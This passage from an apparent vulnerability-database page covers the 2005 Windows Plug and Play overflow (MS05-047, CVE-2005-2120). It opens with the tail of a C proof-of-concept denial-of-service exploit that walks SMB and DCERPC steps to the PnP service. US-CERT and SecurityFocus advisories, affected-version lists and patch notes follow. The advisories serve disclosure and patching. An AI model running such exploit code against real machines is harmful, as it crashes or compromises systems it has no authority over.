       struct hostent *host;
       int sock;
       char response[4096];
       char UNC[50], tConXpacket[150], *temp;
       char targetIP[20];
       int nread, ret, templen;

       if (argc < 2) {
               printf("Usage: upnp_getdevicelist_DOS <host name|ip address>\n");
               exit(-1);
       }


printf("\n==========================================\n");
       printf("WIN2K UPNP interface DOS Attack\n");
       printf("Coded by Winny Thomas :-) \n");

printf("==========================================\n\n");

       printf("[*] Resolving %s: ", argv[1]);
       host = gethostbyname(argv[1]);
       if (host == NULL) {
               printf("\033[0;31mFailed\033[0;39m\n");
               exit(-1);
       }
       printf("\033[0;32mOK\033[0;39m\n");

       target.sin_family = AF_INET;
       target.sin_addr = *(struct in_addr*)host->h_addr;
       target.sin_port = htons(445);

       sprintf(targetIP, "%s", inet_ntoa(target.sin_addr));
       sock = socket(AF_INET, SOCK_STREAM, 0);
       if ((ret = connect(sock, (struct sockaddr *)&target, sizeof(struct sockaddr))) < 0) {
               perror("Connect");
               exit(-1);
       }

       printf("[*] SMB Negotiation with %s: ", argv[1]);
       if ((send(sock, SMB_Negotiate, sizeof(SMB_Negotiate)-1, 0)) < 0) {
               perror("SMB Negotiate");
               exit(-1);
       }
       ret = recv(sock, response, 4096, 0);
       if ((ret < 10 || response[9] != 0)) {
               printf("\033[0;31mFailed\033[0;39m\n");
               exit(-1);
       }
       printf("\033[0;32mOK\033[0;39m\n");

       printf("[*] SMB Session setup ANDX 1 with %s: ", argv[1]);
       if ((send(sock, SMB_Session_setup_ANDX1, sizeof(SMB_Session_setup_ANDX1)-1, 0)) < 0) {
               perror("SMB_Session_setup_ANDX1");
               exit(-1);
       }
       ret = recv(sock, response, 4096, 0);
       if (ret <= 10) {
               printf("\033[0;31mFailed\033[0;39m\n");
               exit(-1);
       }
       printf("\033[0;32mOK\033[0;39m\n");

       printf("[*] SMB Session setup ANDX 2 with %s: ", argv[1]);
       if ((send(sock, SMB_Session_setup_ANDX2, sizeof(SMB_Session_setup_ANDX2)-1, 0)) < 0) {
               perror("SMB_Session_setup_ANDX2");
               exit(-1);
       }
       ret = recv(sock, response, 4096, 0);
       if ((ret <= 10 || response[9] != 0)) {
               printf("\033[0;31mFailed\033[0;39m\n");
               exit(-1);
       }
       printf("\033[0;32mOK\033[0;39m\n");

       temp = tConXpacket;
       printf("[*] SMB Tree Connect ANDX with %s: ", argv[1]);
       memcpy(tConXpacket, SMB_TreeConnect_ANDX, sizeof(SMB_TreeConnect_ANDX)-1);
       temp += sizeof(SMB_TreeConnect_ANDX) -1;
       sprintf(UNC, "\\\\%s\\IPC$", targetIP);
       setup_tCon(UNC, temp);
       templen = (strlen(UNC)*2) +9;
       tConXpacket[3] = 43 + templen;
       templen -= 2;
       memcpy((unsigned long *)&tConXpacket[45], &templen, 1);
       if ((send(sock, tConXpacket, (sizeof(SMB_TreeConnect_ANDX) + templen), 0)) < 0) {
               perror("SMB_TreeConnect_ANDX");
               exit(-1);
       }
       ret = recv(sock, response, 4096, 0);
       if ((ret <= 10 || response[9] != 0)) {
               printf("\033[0;31mFailed\033[0;39m\n");
               exit(-1);
       }
       printf("\033[0;32mOK\033[0;39m\n");

       printf("[*] SMB NT Create ANDX Request to %s: ", argv[1]);
       if ((send(sock, SMB_NTCreate_ANDX_Request, sizeof(SMB_NTCreate_ANDX_Request)-1, 0)) < 0) {
               perror("SMB_NTCreate_ANDX_Request");
               exit(-1);
       }
       ret = recv(sock, response, 4096, 0);
       if (ret <= 10) {
               printf("\033[0;31mFailed\033[0;39m\n");
               exit(-1);
       }
       printf("\033[0;32mOK\033[0;39m\n");

       printf("[*] DCERPC Bind to UPNP RPC Service at %s: ", argv[1]);
       if ((send(sock, DCERPC_Bind_RPC_Service, sizeof(DCERPC_Bind_RPC_Service)-1, 0)) < 0) {
               perror("DCERPC_Bind_RPC_Service");
               exit(-1);
       }
       ret = recv(sock, response, 4096, 0);
       if (ret <= 10) {
               printf("\033[0;31mFailed\033[0;39m\n");
               exit(-1);
       }
       printf("\033[0;32mOK\033[0;39m\n");

       printf("[*] PNP_GetDeviceList request to %s: ", argv[1]);
       send(sock, PNP_GetDeviceList_Request, sizeof(PNP_GetDeviceList_Request)-1, 0);
       recv(sock, response, 4096, 0);
       printf("\033[0;32mOK\033[0;39m\n");
}

// milw0rm.com [2005-10-24]
		

- 漏洞信息 (F41260)

20051021.MS05-047.c (PacketStormID:F41260)
2005-11-04 00:00:00
 
exploit,remote
CVE-2005-2120
[点击下载]

Remote exploit that makes use of a buffer length checking issue in the Microsoft UMPNPMGR PNP_GetDeviceList (services.exe - ms05-047).

- 漏洞信息 (F40619)

Technical Cyber Security Alert 2005-284A (PacketStormID:F40619)
2005-10-12 00:00:00
US-CERT  cert.org
advisory,remote,denial of service,arbitrary,vulnerability
windows
CVE-2005-2120,CVE-2005-1987,CVE-2005-2122,CVE-2005-2128,CVE-2005-2119,CVE-2005-1978,CVE-2005-2127,CVE-2005-0163
[点击下载]

Microsoft has released updates that address critical vulnerabilities in Windows, Internet Explorer, and Exchange Server. Exploitation of these vulnerabilities could allow a remote, unauthenticated attacker to execute arbitrary code or cause a denial of service on an affected system.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


            Technical Cyber Security Alert TA05-284A 
  Microsoft Windows, Internet Explorer, and Exchange Server
  Vulnerabilities

   Original release date: October 11, 2005
   Last revised: --
   Source: US-CERT

Systems Affected

     * Microsoft Windows
     * Microsoft Internet Explorer
     * Microsoft Exchange Server

   For more complete information, refer to the Microsoft Security
   Bulletin Summary for October 2005.

Overview

   Microsoft has released updates that address critical vulnerabilities
   in Windows, Internet Explorer, and Exchange Server. Exploitation of
   these vulnerabilities could allow a remote, unauthenticated attacker
   to execute arbitrary code or cause a denial of service on an affected
   system.

I. Description

   Microsoft Security Bulletins for October 2005 address vulnerabilities
   in Windows and Internet Explorer. Further information is available in
   the following US-CERT Vulnerability Notes:


   VU#214572 - Microsoft Plug and Play fails to properly validate user
   supplied data 

   Microsoft Plug and Play contains a flaw in the handling of message
   buffers that may result in local or remote arbitrary code execution or
   denial-of-service conditions.
   (CAN-2005-2120)


   VU#883460 - Microsoft Collaboration Data Objects buffer overflow 

   A buffer overflow in Microsoft Collaboration Data Objects may allow a
   remote, unauthenticated attacker to execute arbitrary code on a
   vulnerable system.
   (CAN-2005-1987)


   VU#922708 - Microsoft Windows Shell fails to handle shortcut files
   properly 

   Microsoft Windows Shell does not properly handle some shortcut files
   and may permit arbitrary code execution when a specially-crafted file
   is opened.
   (CAN-2005-2122)


   VU#995220 - Microsoft DirectShow buffer overflow 

   A buffer overflow in Microsoft DirectShow may allow a remote,
   unauthenticated attacker to execute arbitrary code on a vulnerable
   system.
   (CAN-2005-2128)


   VU#180868 - Microsoft Distributed Transaction Coordinator vulnerable
   to buffer overflow via specially crafted network message 

   Microsoft Distributed Transaction Coordinator (MSDTC) may be
   vulnerable to a flaw that allows remote, unauthenticated attackers to
   execute arbitrary code.
   (CAN-2005-2119)


   VU#950516 - Microsoft COM+ contains a memory management flaw 

   Microsoft COM+ contains a vulnerability due to a memory management
   flaw that may allow an attacker to take complete control of an
   affected system.
   (CAN-2005-1978)


   VU#959049 - Several COM objects cause memory corruption in Microsoft
   Internet Explorer 

   Microsoft Internet Explorer will initialize COM objects that were not
   intended to be used in the web browser. Several COM objects have been
   identified that may allow an attacker to execute arbitrary code or
   crash Internet Explorer.
   (CAN-2005-2127)


   VU#680526 - Microsoft Internet Explorer allows non-ActiveX COM objects
   to be instantiated

   Microsoft Internet Explorer will initialize COM objects that were not
   intended to be used in the web browser. This may allow an attacker to
   execute arbitrary code or crash Internet Explorer.
   (CAN-2005-0163)

II. Impact

   Exploitation of these vulnerabilities may allow a remote,
   unauthenticated attacker to execute arbitrary code with SYSTEM
   privileges or with the privileges of the user. If the user is logged
   on with administrative privileges, the attacker could take complete
   control of an affected system. An attacker may also be able to cause a
   denial of service.

III. Solution

Apply Updates

   Microsoft has provided the updates for these vulnerabilities in the
   Security Bulletins and on the Microsoft Update site.

Workarounds

   Please see the following US-CERT Vulnerability Notes for workarounds.

Appendix A. References

     * Microsoft Security Bulletin Summary for October 2005 -
       <http://www.microsoft.com/technet/security/bulletin/ms05-oct.mspx>

     * US-CERT Vulnerability Note VU#214572 -
       <http://www.kb.cert.org/vuls/id/214572>

     * US-CERT Vulnerability Note VU#883460 -
       <http://www.kb.cert.org/vuls/id/883460>

     * US-CERT Vulnerability Note VU#922708 -
       <http://www.kb.cert.org/vuls/id/922708>

     * US-CERT Vulnerability Note VU#995220 -
       <http://www.kb.cert.org/vuls/id/995220>

     * US-CERT Vulnerability Note VU#180868 -
       <http://www.kb.cert.org/vuls/id/180868>

     * US-CERT Vulnerability Note VU#950516 -
       <http://www.kb.cert.org/vuls/id/950516>

     * US-CERT Vulnerability Note VU#959049 -
       <http://www.kb.cert.org/vuls/id/959049>

     * US-CERT Vulnerability Note VU#680526 -
       <http://www.kb.cert.org/vuls/id/680526>

     * CAN-2005-2120 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2120>

     * CAN-2005-1987 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1987>

     * CAN-2005-2122 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2122>

     * CAN-2005-2128 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2128>

     * CAN-2005-2119 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2119>

     * CAN-2005-1978 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1978>

     * CAN-2005-2127 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2127>

     * CAN-2005-0163 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0163>

     * Microsoft Update - <https://update.microsoft.com/microsoftupdate>


  _________________________________________________________________

   The most recent version of this document can be found at:

   <http://www.us-cert.gov/cas/techalerts/TA05-284A.html> 
  _________________________________________________________________

   Feedback can be directed to US-CERT.  Please send email to:
   <cert@cert.org> with "TA05-284A Feedback VU#959049" in the subject.
  _________________________________________________________________

   Revision History

   Oct 11, 2004: Initial release
  _________________________________________________________________

   Produced 2005 by US-CERT, a government organization.
  
   Terms of use

   <http://www.us-cert.gov/legal.html>
  _________________________________________________________________

   For instructions on subscribing to or unsubscribing from this 
   mailing list, visit <http://www.us-cert.gov/cas/>.





-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iQEVAwUBQ0xBVn0pj593lg50AQJvOQf/QqIy3putm/wkUAUguQaylsCfC38Lysdc
bqbtj7oF6HEoCzhQguaqQdMGOqa4QJnrObnkHN29xFhYovKWOIYkYsh6c3IXaNLK
PdImVbcMFNn9VsBNNRVr2dqPXJPvgFFzQKsDcKkknnZyxLf5mshwDJoKFsKDGr9c
1P9yxwyagQ8G73gTq6hPV/Wl/6zElXH/chlh6haXe6XN9ArTmz8A3OCAN+BZQUqe
/9T4US8oxLeLlNDcQc/PV5v3VuXXW0v9kjEjqAVEH5tRKH/oIkVdgpj7gdrAzDjM
MUojHfl1v2/JwWubQ9DFQsBx4Jxv5YvJEREsU7RbVJotn02+Yaaeog==
=5hXu
-----END PGP SIGNATURE-----
    

- 漏洞信息

18830
Microsoft Windows UMPNPMGR wsprintfW Remote Overflow
Local Access Required, Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Unknown Vendor Verified

- 漏洞描述

A remote overflow exists in Microsoft Windows NT, 2000 & XP. The Microsoft Windows MSRPC Plug and Play service fails to validate user supplied data to the wsprintfW call within the code for UMPNPMGR, resulting in a stack buffer overflow. With a specially crafted request, a remote authenticated attacker can execute arbitrary code with SYSTEM privileges on a remote Windows 2000 or XP SP1 system. On Windows XP SP2, this vulnerability could also be exploited by an unprivileged user to gain full privileges on a system to which he is logged in interactively. Both resulting in a loss of integrity to the system.

- 时间线

2005-10-12 Unknow
2005-10-21 2005-10-11

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released a patch to address this vulnerability for Windows 2000 and XP. Microsoft has not released a patch for the flaw affecting Windows NT 4.0 systems.

- 相关参考

- 漏洞作者

- 漏洞信息

Microsoft Windows Plug And Play UMPNPMGR.DLL wsprintfW Buffer Overflow Vulnerability
Boundary Condition Error 15065
Yes Yes
2005-10-11 12:00:00 2009-07-12 05:07:00
Derek Soeder discovered this vulnerability.

- 受影响的程序版本

Nortel Networks Centrex IP Element Manager 8.0
Nortel Networks Centrex IP Element Manager 7.0
Nortel Networks Centrex IP Element Manager 2.5
Nortel Networks Centrex IP Client Manager 8.0
Nortel Networks Centrex IP Client Manager 7.0
Nortel Networks Centrex IP Client Manager 2.5
Nortel Networks Centrex IP Client Manager
Microsoft Windows XP Professional SP2
Microsoft Windows XP Professional SP1
Microsoft Windows XP Professional
Microsoft Windows XP Media Center Edition SP2
Microsoft Windows XP Media Center Edition SP1
Microsoft Windows XP Media Center Edition
Microsoft Windows XP Home SP2
Microsoft Windows XP Home SP1
Microsoft Windows XP Home
Microsoft Windows NT Workstation 4.0 SP6a
Microsoft Windows NT Workstation 4.0 SP6
Microsoft Windows NT Workstation 4.0 SP5
Microsoft Windows NT Workstation 4.0 SP4
Microsoft Windows NT Workstation 4.0 SP3
Microsoft Windows NT Workstation 4.0 SP2
Microsoft Windows NT Workstation 4.0 SP1
Microsoft Windows NT Workstation 4.0
Microsoft Windows NT Terminal Server 4.0 SP6a
Microsoft Windows NT Terminal Server 4.0 SP6
Microsoft Windows NT Terminal Server 4.0 SP5
Microsoft Windows NT Terminal Server 4.0 SP4
Microsoft Windows NT Terminal Server 4.0 SP3
Microsoft Windows NT Terminal Server 4.0 SP2
Microsoft Windows NT Terminal Server 4.0 SP1
Microsoft Windows NT Terminal Server 4.0
Microsoft Windows NT Server 4.0 SP6a
+ Avaya DefinityOne Media Servers
+ Avaya DefinityOne Media Servers
+ Avaya IP600 Media Servers
+ Avaya IP600 Media Servers
+ Avaya S3400 Message Application Server 0
+ Avaya S8100 Media Servers 0
+ Avaya S8100 Media Servers 0
Microsoft Windows NT Server 4.0 SP6
Microsoft Windows NT Server 4.0 SP5
Microsoft Windows NT Server 4.0 SP4
Microsoft Windows NT Server 4.0 SP3
Microsoft Windows NT Server 4.0 SP2
Microsoft Windows NT Server 4.0 SP1
Microsoft Windows NT Server 4.0
Microsoft Windows NT Enterprise Server 4.0 SP6a
Microsoft Windows NT Enterprise Server 4.0 SP6
Microsoft Windows NT Enterprise Server 4.0 SP5
Microsoft Windows NT Enterprise Server 4.0 SP4
Microsoft Windows NT Enterprise Server 4.0 SP3
Microsoft Windows NT Enterprise Server 4.0 SP2
Microsoft Windows NT Enterprise Server 4.0 SP1
Microsoft Windows NT Enterprise Server 4.0
Microsoft Windows 2000 Server SP4
Microsoft Windows 2000 Server SP3
Microsoft Windows 2000 Server SP2
Microsoft Windows 2000 Server SP1
Microsoft Windows 2000 Server
+ Avaya DefinityOne Media Servers
+ Avaya IP600 Media Servers
+ Avaya S3400 Message Application Server 0
+ Avaya S8100 Media Servers 0
Microsoft Windows 2000 Professional SP4
Microsoft Windows 2000 Professional SP3
Microsoft Windows 2000 Professional SP2
Microsoft Windows 2000 Professional SP1
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Datacenter Server SP4
Microsoft Windows 2000 Datacenter Server SP3
Microsoft Windows 2000 Datacenter Server SP2
Microsoft Windows 2000 Datacenter Server SP1
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Advanced Server SP4
Microsoft Windows 2000 Advanced Server SP3
Microsoft Windows 2000 Advanced Server SP2
Microsoft Windows 2000 Advanced Server SP1
Microsoft Windows 2000 Advanced Server
Avaya Unified Communication Center
Avaya S8100 Media Servers R9
Avaya S8100 Media Servers R8
Avaya S8100 Media Servers R7
Avaya S8100 Media Servers R6
Avaya S8100 Media Servers R12
Avaya S8100 Media Servers R11
Avaya S8100 Media Servers R10
Avaya S8100 Media Servers 0
Avaya S3400 Message Application Server 0
+ Microsoft Windows 2000 Server
Avaya IP600 Media Servers R9
Avaya IP600 Media Servers R8
Avaya IP600 Media Servers R7
Avaya IP600 Media Servers R6
Avaya IP600 Media Servers R12
Avaya IP600 Media Servers R11
Avaya IP600 Media Servers R10
Avaya IP600 Media Servers
Avaya DefinityOne Media Servers R9
Avaya DefinityOne Media Servers R8
Avaya DefinityOne Media Servers R7
Avaya DefinityOne Media Servers R6
Avaya DefinityOne Media Servers R12
Avaya DefinityOne Media Servers R11
Avaya DefinityOne Media Servers R10
Avaya DefinityOne Media Servers

- 漏洞讨论

Microsoft Windows Plug and Play is prone to a buffer overflow vulnerability. This issue is due to a failure of the service to properly bounds check user-supplied data prior to copying it to an insufficiently sized memory buffer.

This issue takes place when the PnP service handles malformed messages containing excessive data.

This vulnerability facilitates local privilege escalation and unauthorized remote access depending on the underlying operating system. A successful attack may result in arbitrary code execution resulting in an attacker gaining SYSTEM privileges.

This issue is unrelated to the one documented in BID 14513, "Microsoft Windows Plug and Play Buffer Overflow Vulnerability", but they both have similar attack scenarios and affects.

- 漏洞利用

A proof of concept denial of service exploit (umpnp_poc.c) is provided by ppwd25@hotmail.com. Another proof of concept denial of service exploit (upnp_getdevicelist_DOS.c) is provided by WINNY THOMAS &lt;winnymthomas@yahoo.com&gt;.

--
Currently we are not aware of any exploits for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com &lt;mailto:vuldb@securityfocus.com&gt;.

- 解决方案

Avaya has released advisory ASA-2005-214 to state which Avaya products are affected by The October 2005 release of Microsoft Windows security updates. Please see the referenced advisory for further information.

Nortel Networks has released a technical support bulletin (2005006318) regarding this and other issues for their Centrex IP Client Manager (CICM). They report the vulnerabilities will be fixed in the upcoming 2.5, 7.0 and 8.0 maintenance releases. Please see the referenced bulletin for further information.

Fixes are available:


Microsoft Windows XP Media Center Edition SP2

Microsoft Windows XP Media Center Edition SP1

Microsoft Windows 2000 Advanced Server SP4

Microsoft Windows XP Home SP2

Microsoft Windows 2000 Datacenter Server SP4

Microsoft Windows XP Home SP1

Microsoft Windows XP Professional SP2

Microsoft Windows 2000 Server SP4

Microsoft Windows 2000 Professional SP4

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站